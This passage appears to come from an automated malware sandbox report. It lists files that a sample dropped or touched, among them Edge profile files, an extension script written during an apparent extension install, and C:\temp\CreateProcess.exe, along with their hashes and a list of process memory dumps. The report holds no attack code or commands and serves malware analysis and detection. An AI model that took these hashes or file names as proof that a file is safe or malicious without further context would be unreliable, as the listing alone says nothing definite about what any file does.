T12903BF32E828CD63ACFAA246F50B36937EF4216B81C81E98D6DA5B0C09472DD175F913
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 ae1f1adbfabeeac417dcae5c7519ed212040e2f73dcd19397d02a7876d055213
MD5 f4e735f5aa94f4af5b6d3a8f991079b2
SHA1 fe8ba1e1adba8b67bf56b6d0058e7b40687384eb
SHA512 79e93e4dcb24651af99828d0d42a86b5b4d7d5d423d6aa33624c8e6f32080198ac095f7da574a7d15e746a98ad65eea2df591c5aba3b9289bec022e7977b1f09
SSDEEP 384:nZtNn/s3n9Sp38NnnKvzWxJDZNfNoXOVSUUoTheAXIUhETRzcoXfK86sfxEZxxsb:Zj+9i356DZIO0Wz6Nzc4ReyIsPqb9MV
TLSH
T169F2AF35EC2ACD63ACE69686B54B3693BEF4117B81C81D88DAE99F0C09437EC075B513
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 a91847092f39464d3c604b70eee81491805ae6189a52ac2531b9ff86ed31c6a7
MD5 76a437d9100f9f46cf3b8945a3dcfaf4
SHA1 f6792d1350eb6920d10fee8145928d5e0bb0b05b
SHA512 f232cc1b80869886e81d217e5aa11a5523020ce1963fae02640439ad9ba58531db5483d9dd530a406e2435aa63efd820972137a73ca63c0d5eb93b63a2ce5a6e
SSDEEP 384:n6tNn/s3n9Sp38NnOKvzWxJDZNfNoXOVSUUoTheAXIUhETRzcoXfK86sfxEZxxsb:6j+9i3Q6DZIO0Wz6Nzc4ReyIsPqb9MV
TLSH
T1FBF2AF35EC2ACD63ACE69686B54B3693BEF4117B81C81D88DAE99F0C09432EC075B512
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 6c4c80f222fb1ce972ae0d2b31c9be5a0abcb303cd2baa8d73d2bef51797e8d0
MD5 938ec4176727fe508679438e1d3081e1
SHA1 87ec64b555e3b0226c9a24a613736e1865c3155b
SHA512 d7be7d111db453d04fd443524ec9a7f44d6456301b303c456023c39899129800f216f65bc272a595e5b4f5b176dc8e77d295ac3458c791b532059662efa6cd7b
SSDEEP 384:nWtNn/s3n9Sj38NnnKvHWj2Z/f0xXOVSUUoTheAXIUxETRzcoXfK86sfxEZxxsIS:Wj+9o3ZjZU5O0Wz6Nzc4ReyIsPqb9MV
TLSH
T1261318F598E78972E8AE5387733D2D46ADFCD16771881988B7D55E0CCC822BFC60A412
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

309387e6-2f7f-427d-aabc-41eb4d063488.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\309387e6-2f7f-427d-aabc-41eb4d063488.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5964_45187249\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 bdbec2d58dc5ff2d235082852d8cb8f737cb4422d1b07dd3a18ab9c429cf179c
MD5 38a2eb2fb738b3097a19723bfb06c90d
SHA1 00a74bce7ba2f031afef33c7da2df975d43fbc8c
SHA512 e882f1b12c632eda5662356d184dcd748d83e210757e3a5fc7278c6572166711180c4989c00d4b741d2db782ec23922ddfc6eb002b651425ebe7a31921d36218
TLSH
T19F71238397B9C5B3C1DE5FF102835648F5FF22380B2370304B915586AB30A7A64B8F44
MD5 SHA1 SHA512 TLSH

Submit Download

memory/904-428-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1516-454-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2088-187-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2356-312-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2464-452-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2652-262-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2856-474-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3000-316-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3396-324-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3560-393-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3860-286-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4144-320-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4144-66-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4288-234-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4524-373-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4780-274-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4792-353-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4820-457-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5180-417-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5244-397-0x0000000000010000-0x00000000000AB000-memory.dmp

Download